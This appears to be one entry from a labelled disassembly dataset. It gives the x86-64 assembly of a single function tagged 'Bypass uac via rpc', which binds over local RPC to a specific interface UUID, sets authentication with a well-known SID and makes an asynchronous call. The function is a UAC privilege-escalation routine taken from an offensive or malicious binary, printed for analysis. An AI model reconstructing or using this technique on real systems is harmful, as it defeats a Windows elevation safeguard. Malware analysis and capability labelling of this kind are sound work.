Function at 0x1400010b0
Capabilities:
Bypass uac via rpc

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x170
mov r15d, r8d
mov r12, rdx
mov r13, rcx
xor r14b, r14b
xor esi, esi
mov qword [rax + 0x38], rsi
mov dword [rax + 0x40], esi
mov rbx, qword [rsp + 0x1e8]
test rbx, rbx
je 0x1400010fc
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
lea rdi, [rsp + 0x78]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rsp + 0x130]
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rsp + 0x154], 1
mov word [rsp + 0x158], si
lea rdi, [rsp + 0xc0]
mov ecx, 0x70
rep stosb byte [rdi], al
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1e8], rsi
mov dword [rsp + 0x1b8], 0x44
mov qword [rsp + 0x1c8], rsi
lea rdi, [rsp + 0x90]
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ncalrpc
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test eax, eax
jne 0x1400012ac
lea rdx, [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov edi, eax
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
jne 0x1400012ac
mov edx, dword [rsp + 0x1b8]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1400012a5
lea r9, [rsp + 0x1b8]
mov r8, rax
xor edx, edx
lea ecx, [rdi + 0x16]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x140001292
mov dword [rsp + 0x90], 3
mov dword [rsp + 0x9c], 3
mov qword [rsp + 0x94], 1
xor ecx, ecx
mov qword [rsp + 0xb0], rsi
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
xor edx, edx
lea r9d, [rdi + 0xa]
lea r8d, [rdi + 6]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test eax, eax
jne 0x14000129a
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x1e8], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400012aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400012aa
mov edi, 8
xor esi, esi
cmp qword [rsp + 0x1e8], 0
je 0x1400012c5
lea rcx, [rsp + 0x1e8]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
test edi, edi
jne 0x140001412
lea edx, [rdi + 0x70]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
mov edi, eax
test eax, eax
jne 0x140001314
mov dword [rsp + 0xec], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf0], rax
test rax, rax
jne 0x140001314
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x140001412
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], r15d
mov r9, r12
mov r8, r13
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0xc0]
call fcn.140001000
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x140001381
lea ecx, [rdi - 1]
call qword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x1400013db
cmp qword [rsp + 0x1d0], 0
jne 0x1400013db
test rbx, rbx
je 0x1400013d3
mov rax, qword [rsp + 0x78]
mov qword [rbx], rax
mov rax, qword [rsp + 0x80]
mov qword [rbx + 8], rax
mov eax, dword [rsp + 0x88]
mov dword [rbx + 0x10], eax
mov eax, dword [rsp + 0x8c]
mov dword [rbx + 0x14], eax
mov r14b, 1
mov byte [rsp + 0x70], r14b
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x1400013f6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xf0], rsi
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
jmp 0x140001412
movzx eax, r14b
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret